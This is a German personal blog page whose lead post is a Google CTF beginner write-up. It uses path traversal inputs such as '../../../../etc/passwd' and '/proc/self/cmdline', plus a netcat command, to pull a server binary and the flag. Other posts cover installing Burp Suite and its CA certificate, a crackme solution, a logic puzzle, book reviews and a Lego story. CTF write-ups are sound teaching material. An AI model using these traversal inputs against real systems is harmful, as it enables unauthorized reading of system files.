Google CTF – Beginners Quest – ADMIN UI

2018-07-07 von Mario

Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein “Flag” in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.

 

Challenge “Beginners Quest – ADMIN UI”

 

Analyse

Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.

nc mngmnt-iface.ctfcompetition.com 1337

Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

 

Bei der Option “1” wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.

Please enter the backdoo^Wservice password:

Die Option “2” stellt ein weiteres Menü bereit:

The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?

 

Mit der Eingabe “Version0.3” erhalten wir die Patchnotes:

# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.

Mit der Eingabe “Version0.2” erhalten wir die Patchnotes:

# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX

 

Let’s go hacking

Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.

Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt “4”, “0”, … usw. ausprobiert. Was keinen Erfolg brachte.

 

Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:

Error: No such file or directory

Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.

 

Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den “Dateinamen” oder “Pfad/Dateinamen” zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:

./Version0.3

Daraufhin wird die Datei Version 0.3 angezeigt.

# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:

../../../../../../etc/passwd

Ausgabe

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...

Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.

 

Weitere Informationsbeschaffung

Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels

/proc/self/cmdline

wird der aktuelle Prozess angezeigt.

  1. Verbinden mit Netcat
  2. Menüpunkt “2” aufrufen
  3. Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline

Ausgabe

./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

Der Name der laufenden Applikation lautet “main”.

 

Programm herunterladen

Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.

echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument Beschreibung
echo Der Befehl “echo” gibt einen Text aus.
e Der Parameter “e” sorgt dafür, dass das Sonderzeichen “\n” interpretiert wird (Enter/Newline).
| Mit der Pipe “|” wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet.
> Mit “>” werden alle Ausgaben in eine Datei “admin_ui_file” gespeichert.

 

Nach ca. 10 Sekunden mit “STRG + C” den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…

 

Reverse Engineering

Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.

Mit dem String “patchnotes” ergab die Suche einen interessanten Treffer.

Final Step

Im Ordner “patchnotes” liegt eine Datei mit dem Namen “flag”, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt “2” wählen und bei der Eingabe “Which patchnotes should be shown?”:

../flag

eingeben. Als Ausgabe erhalten wir unser Flag. :)

CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

 

Kategorie: IT-Security Schlagwörter: , ,

Rezension: Flachsinn: Ich habe Hirn, ich will hier raus

2018-06-23 von Mario

Autor: Gunter Dueck

Taschenbuch: 262 Seiten

Verlag: Campus Verlag; Auflage: 1 (16. Februar 2017)

Sprache: Deutsch

ISBN-10: 3593505177

ISBN-13: 978-3593505176

Das Buch „Flachsinn“ stellt die fortschreitende Verblödung der Massen anhand von aktuellen Beispielen aus unterschiedlichen Medien dar. Dabei werden alle Fachbegriffe so erklärt, dass auch weniger IT affine Menschen den Darstellungen folgen können. Die gesellschaftlichen Herausforderungen einer zunehmend digitalisierten Welt werden auf intelligente und witzige Weise Stück für Stück zerlegt und beleuchtet. Um ein paar Beispiele zu nennen:

  • das Phänomen der Filterblase
  • Kommentarfunktionen und die daraus entstehende Diskussionskultur
  • die Geilheit auf “Likes”
  • es zählt nur noch Aufmerksamkeit
  • ständig gegen alles sein

 

Besonders hat mir gefallen, dass Herr Dueck sich mit dem Thema Führungskräfte in diesem Zusammenhang ebenfalls auseinander gesetzt hat. Die Idiotie, das Führungskräfte keine Zeit haben und bekommen, Entscheidungen zu treffen, ohne eine ausreichende Auseinandersetzung mit einer Thematik, trifft den Nagel auf den Kopf. Alles muss “schnell, schnell” gehen…

Das Buch ist ein Appell an die Gesellschaft, endlich aufzuwachsen und etwas zu verändern. Einige Lösungsstrategien werden am Ende des Buches beschrieben.

 

Wertung: lesenswert

Kategorie: Bücher Schlagwörter: ,

Burp Suite – Install CA Certificate in Firefox

2018-06-16 von Mario

Um “https” Verbindungen mit der Burp Suite bearbeiten zu können, wird im Firefox ein Zertifikat benötigt. Dafür sind folgende Schritte durchzuführen:

Schritt 1

Den Browser Firefox starten und das Menü “Bearbeiten – Einstellungen” aufrufen. Auf dieser Seite bis zu den Einstellungen “Netzwerk Proxy” scrollen und den “Einstellungen …” Button klicken.

Danach die Einstellungen für den lokalen Proxy setzen. Der Standard der Burp Suite ist auf dem Screenshot abgebildet. Falls dieser abweicht, muss eine entsprechende Anpassung vorgenommen werden.

Schritt 2

Die Burp Suite starten und im Firefox die Seite “http://burp” aufrufen.

Jetzt oben rechts auf “CA Certificate” klicken und das Zertifikat herunterladen.

Schritt 3

Als nächstes im Firefox erneut die Einstellungen aufrufen und unter “Privatsphäre & Sicherheit” zu den Zertifikaten scrollen. Daraufhin den Button “Zertifikate anzeigen” klicken.

In dem Dialog “Zertifikate Manager” kann mittels des Buttons “Importieren” das eben heruntergeladene Zertifikat dem Firefox hinzugefügt werden.

Schritt 4

Jetzt ist es möglich, “https” Verbindungen mit der Burp Suite zu bearbeiten. Wenn die Burp Suite nicht mehr benötigt wird, nicht vergessen, die Proxy Verwendung im Firefox entsprechend zu deaktivieren.

Kategorie: IT Schlagwörter: , , , ,

Ubuntu: Install Burp Suite

2018-06-09 von Mario

Die Burp Suite ist eine Software zum Testen der Security von Web Anwendungen. Die Software kann unter

portswigger.net/burp/communitydownload heruntergeladen werden.

Nach dem Download wird mit dem Befehlt “chmod” das “Execute” Recht vergeben.

chmod +x burpsuite_community_linux_v1_7_33.sh

Daraufhin kann die Installation gestartet werden.

sudo ./burpsuite_community_linux_v1_7_33.sh

Nach der Installation ist das Programm unter “Sonstige” im Menü von Ubuntu zu finden.

Kategorie: IT Schlagwörter: , ,

Rezension: FLOW – Das Geheimnis des Glücks

2018-06-02 von Mario

 

Autor: Mihaly Csikszentmihaly

Taschenbuch: 425 Seiten

Verlag: Klett-Cotta; Auflage: 13 (2007)

Sprache: Deutsch

ISBN-10: 3608957839

ISBN-13: 978-3608957839

Was ist FLOW? Wie erreiche ich den FLOW Zustand? Von diesen und weiteren Fragen handelt das Buch. Um ein Verständnis von FLOW zu erhalten, hier ein Beispiel: “Du bist mit einer Tätigkeit Sport, Programmieren, Spielen usw. so beschäftigt, dass Du Deine Umwelt und die Zeit komplett vergisst. Du bist einfach nur glücklich und erfüllt dabei.”

Ein Patentrezept beinhaltet das Buch nicht, da der Weg zum Glück/Flow für jeden Menschen ein anderer ist. Es stellt Möglichkeiten zur aktiven Lebensgestaltung vor. An einigen Stellen liest sich das Buch etwas zäh, dadurch konnte ich es nicht an einem Stück lesen. Die Pausen wirken sich hier aber positiv auf den Inhalt aus, da genug Zeit zum nachhaltigen Reflektieren bleibt.

 

Wertung: Echtes Glück ist nicht von materiellen Dingen abhängig.

Kategorie: Bücher Schlagwörter: ,

Lego Fort Wolfenfels

2018-05-19 von Mario

Am Rande der karibischen See ragen unscheinbare Felsen aus dem Wasser, welche ein schreckliches Geheimnis bewahren. Vor langer Zeit dienten diese Ureinwohnern regelmäßig dazu, grausame Rituale abzuhalten.

Nach der Besiedelung durch die Europäer wurden diese Rituale unter Todesstrafe gestellt und mit der Zeit gerieten die Taten in Vergessenheit. Doch die Geschichten und Mythen um die sagenumwobenen Felsen und die dort praktizierten Gewalttaten wurden von Seemann zu Seemann unter vorgehaltener Hand weiter erzählt.

Trotz der Schauermärchen hielt es Sir Wallenstein nicht davon ab, einen Außenposten genau auf einem dieser Felsen zu errichten. Das Fort Wolfenfels ist mit mehreren Kanonen bestückt und durch ein natürliches Riff umgeben, das es vor potenziellen Angreifern ausreichend schützt.

Der Außenposten enthält einen Steg und einen Kran, um schwere Lasten zu heben.

Die Beobachtungsposten sind rund um die Uhr mit Soldaten besetzt, um den Horizont nach Feinden abzusuchen.

Das Fort Wolfenfels verbirgt eine gespenstische Unterwelt, welche durch einen schmalen Gang betreten werden kann.

Eine Geschichte, die erzählt wird, lautet: “Ein gefangener Pirat wurde vor einigen Jahren in das unterirdische Gewölbe eingesperrt. Als man ihn am nächsten Tag etwas zu Essen brachte, fand man nur noch sein Skelett vor. Es existiert kein weiterer Eingang in die Höhle als über eine verschlossene Luke, die Tag und Nacht bewacht wurde…”

Seit diesem Zeitpunkt wagt es niemand mehr, die Nacht dort unten zu verbringen.

Kategorie: Allgemein Schlagwörter: , ,

Hack-IT: Zahlenschloss

2018-05-12 von Mario

Es ist ein Schloss gegeben, welches drei Felder für die Eingabe einer Zahl erwartet. Wird die richtige Kombination eingegeben, so öffnet sich das Schloss.

Folgende Hinweise (A bis E) helfen bei der Lösungsfindung:

Hinweis Nr. 1 Nr. 2 Nr. 3 Beschreibung
A 6 8 2 Eine Nummer ist richtig und richtig platziert
B 6 1 4 Eine Nummer ist richtig aber falsch platziert
C 2 0 6 Zwei Nummern sind richtig aber falsch platziert
D 7 3 8 Nichts ist richtig
E 7 8 0 Eine Nummer ist richtig aber falsch platziert

 

 

Im weiteren folgt eine Darstellung eines Lösungswegs. Vor dem Weiterlesen sollte selbst eine Runde probiert werden! :)

Hinweis D

Nach dem Durchlesen der Hinweise verspricht der Hinweis “D” eine größere Reduktion der Kombinationsmöglichkeiten. Nach der Anwendung werden alle Werte mit 7, 3 und 8 entfernt.

Hinweis Nr. 1 Nr. 2 Nr. 3
A 6 2
B 6 1 4
C 2 0 6
D
E 0

 

Hinweis E

Der Hinweis “E” führt zu einer weiteren Reduktion der Möglichkeiten. D.h., die Nr. 1 oder die Nr. 2 der Kombination muss eine Null enthalten.

Nr. 1 Nr. 2 Nr. 3
0
0

 

Hinweis C

Der Hinweis C sagt: “Zwei Nummern sind richtig aber falsch platziert”. Daraus ergeben sich die Kombinationen:

Kombination Kombination
2 0
6 0
2 6

Da der Hinweis E festlegt, dass eine “0” enthalten sein muss, entfällt hier die letzte Kombination.

 

Hinweis A

Aus den aktuell gewonnen Erkenntnissen ergibt sich folgender Zwischenstand der Kombinationsmöglichkeiten unter Anwendung des Hinweises “A”. D.h., “Eine Nummer ist richtig und richtig platziert”. Somit kann die Zahl “6” oder “2” in Kombination mit der Zahl “0” gesetzt werden.

Nr. 1 Nr. 2 Nr. 3
0 2
6 0
0 2

 

Hinweis B

Der Hinweis B besagt “Eine Nummer ist richtig aber falsch platziert”.

Hinweis Nr. 1 Nr. 2 Nr. 3
B 6 1 4

 

Dadurch entfällt die Kombination in der Mitte, da die Nummer “6” nur an erster Stelle stehen darf (Hinweise A, D, E, C) und laut Hinweis B umplatziert werden muss.

Nr. 1 Nr. 2 Nr. 3
0 2
6 0
0 2

 

Die beiden übrigen Kombinationen (“0” und “2”) werden mit den Nummern “1” und “4” aus dem Hinweis B erweitert. Daraufhin werden die Hinweise je Kombination geprüft.

Nr. 1 Nr. 2 Nr. 3 Hinweis A Hinweis B Hinweis C Hinweis D Hinweis E
0 1 2 Ja (2) Nein (1) Ja (2,0) Ja Ja (0)
0 4 2 Ja (2) Ja (4) Ja (0,2) Ja Ja (0)
1 0 2 Ja (2) Ja (1) Nein (0) Ja Ja (0)
4 0 2 Ja (2) Ja (4) Nein (0) Ja Ja (0)

 

Die Zahl in den Klammern steht für den Widerspruch oder für die Zustimmung der Regel.

 

 

Quellenangabe:

Kategorie: IT-Security Schlagwörter: , ,

Hack-IT: Reverse Engineering – Aktivierungscode (.NET)

2018-05-06 von Mario

Auf der leider nicht mehr verfügbaren Plattform “CanYouHack.it” gab es die Challenge “I’m sure you’ve just lost the key”. Dabei handelte es sich um eine EXE-Datei (Crack1.exe), welche nach dem Starten einen Aktivierungscode verlangte.

1. Analyse der Datei

Mit dem Befehl “strings” habe ich die EXE-Datei etwas näher untersucht. Dadurch sind folgende interessante Zeichenketten zum Vorschein gekommen.

WindowsFormsApplication1.exe
WindowsFormsApplication1.Properties
System.Windows.Forms
.NETFramework,Version=v4.5

D.h., die EXE-Datei wurde mit großer Wahrscheinlichkeit mit .NET erstellt.

2. Quellcode dekompilieren

Da es sich bei .NET um eine Common Intermediate Language handelt, ist eine Rückumwandlung des Quellcodes relativ leicht umsetzbar. Es existieren dafür verschiedene Tools. In dem Beispiel wurde ILSpy verwendet.

3. Quellcode untersuchen

Aus dem Code geht hervor, dass auf eine Seite zugegriffen und der eingegebene Aktivierungscode als Parameter übergeben wird. Daraufhin erhält man den Antworttext “Valid” zurück und das gesuchte Passwort wird erstellt und ausgegeben.

Der erste Teil kann ignoriert werden, da dieser nur Mittel zum Zweck ist. Der Wert “Valid” kann einfach vorausgesetzt werden. Interessant ist hingegen folgender Abschnitt:

Es ist ein Array gegeben, welches die Buchstaben “a” bis “z” beinhaltet. Über die Inhalte des Arrays wird iteriert und jeder Index wird durch 7 geteilt (Modulo). Ergibt der Rest 0, dann wird der entsprechende Buchstabe in der Variable “text2” gespeichert. Dadurch entsteht das begehrte Passwort.

4. Script erstellen

Die Lösung kann in dem Fall auch per Hand ermittelt werden, jedoch wo bleibt da der Spaß. ;) Hier das erstellte Python Script:

#!/usr/bin/python3

for i in range(97,123,1):
	if ((i-97) % 7 == 0):
		print(str(chr(i)))

 

Zeile Beschreibung
1 Shebang
3 Eine Schleife über die ASCII Werte a bis z.
4 If Abfrage ob die Division (Modulo) den Rest 0 ergibt.
Der Kniff “i-97” erspart die Deklaration eines Arrays mit den Buchstaben “a” bis “z”.
5 Ausgabe des Buchstabens

 

Das Passwort lautet “ahov”.

Kategorie: IT-Security Schlagwörter: , , , ,